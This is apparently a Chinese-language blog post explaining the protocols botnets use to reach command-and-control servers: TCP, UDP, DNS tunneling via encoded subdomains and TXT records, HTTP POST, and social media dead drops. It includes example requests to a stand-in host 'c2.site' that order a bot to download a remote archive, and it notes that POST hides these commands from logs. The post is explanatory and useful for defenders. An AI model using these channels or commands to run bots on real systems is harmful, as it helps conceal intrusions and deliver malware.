C2 複刻 03 | Command and Control Server (C&C、C2) 通訊協定類型

by iok
3.7K 人次瀏覽
Command and Control Server (C&C、C2) 通訊協定類型

Command & Control (C&C) 依網路通訊協定,可分為以下 5 種類型,做為通訊的管道。

  1. TCP
  2. UDP
  3. DNS
  4. HTTP (含 SSL)
  5. 社群媒體網站

TCP

TCP 是一種網路傳輸協定,內建錯誤重傳機制。可靠、不易出錯,且內建在多種主流作業系統中(e.g., Socket API),常用於 Bot 與 C2 通訊中。

若傳輸過程中,彼此需要隱匿通訊,則可挑選合適的加解密演算法,實作加解密機制。

UDP

UDP 傳輸協定有高效能、小封包的優點。亦內建在多種主流作業系統中(e.g., Socket API) ,但無錯誤重傳機制。

使用於 C2 通訊時,需加上驗證與重傳機制。例如,計算與比對每筆傳輸內容的雜湊值。隱匿通訊與 TCP 相同,藉由加解密機制達成。

DNS Tunneling

DNS (Domain Name Service) 全名是網域名稱服務。功能為查詢網域名稱時,回覆對應 IP 的資訊。

例如,查詢網域名稱 ( www.google.com) ,回覆IP是 「216.58.200.228」。使用 nslookup 工具查詢結果,如下:

$ nslookup www.google.com
Server:		127.0.1.1
Address:	127.0.1.1#53

Non-authoritative answer:
Name:	www.google.com
Address: 216.58.200.228

DNS 不啻是 Internet 的基石。駭客常利用 DNS 封包的 2 個位置,分別是子網域與TXT 紀錄,放入欲傳輸的內容,做為 Bot 與 C2 彼此溝通的橋樑。此機制亦稱為 DNS Tunneling。

子網域

將傳輸的內容編碼後,依固定長度分段放置於子網域。依序利用多個 DNS 查詢封包,達成 Bot 向 C2 的通訊目的。

例如,將「愛麗絲夢遊仙境」小說的其中一段文字,將文字轉換為 16 進位後,編碼分段後置入子網域中,如下範例。

416c6963652077617320626567696e6e.c2.site
696e6720746f20676574207665727920.c2.site
7469726564206f662073697474696e67.c2.site
2062792068657220736973746572206f.c2.site
6e207468652062616e6b2c20616e6420.c2.site
6f6620686176696e67206e6f7468696e.c2.site
6720746f20646f3a206f6e6365206f72.c2.site
20747769636520736865206861642070.c2.site
656570656420696e746f207468652062.c2.site
6f6f6b20686572207369737465722077.c2.site
61732072656164696e672c2062757420.c2.site
697420686164206e6f20706963747572.c2.site
6573206f7220636f6e76657273617469.c2.site
6f6e7320696e2069742c2022616e6420.c2.site
77686174206973207468652075736520.c2.site
6f66206120626f6f6b2c222074686f75.c2.site
67687420416c6963652c202277697468.c2.site
6f7574207069637475726573206f7220.c2.site
636f6e766572736174696f6e733f2220.c2.site               

TXT 紀錄

DNS 查詢類別的回應(Response)資料之一。最廣為人知的是 類別 A 與 AAAA 的資料,標註網域名稱所對應的IP。

次之,則是類別 MX, 存放的是郵件伺服器資訊。而類別 TXT 存放的是描述性文字,可存放任意字元。駭客常使用類別 TXT ,做以下事情。傳輸方向主要是 C2 對 Bot 的通訊。

  • 對Bot 下指令
  • 將惡意程式編碼後,放在 TXT 紀錄中,好讓 Bot 下載

我將「愛麗絲夢遊仙境」小說的其中一段文字,編碼後置入c2.site 網域的TXT 紀錄中 。

透過 DNS 紀錄查詢工具 dig 的查詢回應結果,如下範例。「;」符號開頭的文字為註解。

$ dig c2.site -t txt 

; <<>> DiG 9.10.3-P4-Ubuntu <<>> c2.site -t txt 
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 739 
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;c2.site.          IN  TXT 

;; ANSWER SECTION:
c2.site.       10800   IN  TXT  "416c6963652077617320626567696e...."

;; Query time: 89 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Fri Dec 27 14:17:07 CST 2019
 ;; MSG SIZE  rcvd: 93

HTTP (含 SSL)

HTTP 屬於 TCP/IP 應用層的協定。支援多種傳輸方法(HTTP Method),如 GET、POST、PUT、HEAD、OPTIONS 等。其中最廣泛使用的方法是 GET 與 POST 。

由於 GET 方法是將傳遞的多個參數與值,附加在 URL 後面,參數之間以「&」分隔。容易在 Proxy 日誌與 網站存取日誌 (Web access log) 留下紀錄,故不常用於 Bot 與 C2 通訊中。

http://c2.site/callback.php?cmd=download&url=https://foo.bar/a.tgz

而 POST 方法是將傳遞的參數與值,置於 HTTP Body 中。

POST /callback.php HTTP/1.1
Host: c2.site
Content-Type: application/x-www-form-urlencoded
Content-Length:  38

cmd=download&url=https://foo.bar/a.tgz

在 Proxy Log 與網站存取日誌 (Web access log) 僅會有存取 callback.php的紀錄,但無 POST 的參數內容,故常用於 Bot 與 C2 通訊中。

若傳輸過程中,彼此需要隱匿通訊,則會搭配 SSL (Secure Socket Layer),或是挑選合適的加密演算法,將傳輸內容加密。

社群媒體網站服務

在現今人手一機的時代,人們每天瀏覽社群媒體的消息,存取社群媒體網站服務,已是每日例行公事。

而駭客為了切換 Bot 連線的 C2位址,會將 C2 位址資訊以「編碼」或「加密」形式,貼至公開社群媒體頁面,例如推特 (Twitter)、Blog BSP等。

惡意程式作者預先寫死 (Hard coded) 社群媒體網址在Bot 程式碼中。之後,Bot程式欲向 C2 報到前,會先至社群媒體網址,存取 C2 位址資訊後,再去 C2 報到。

複刻 C2 系列文章

相關文章

留言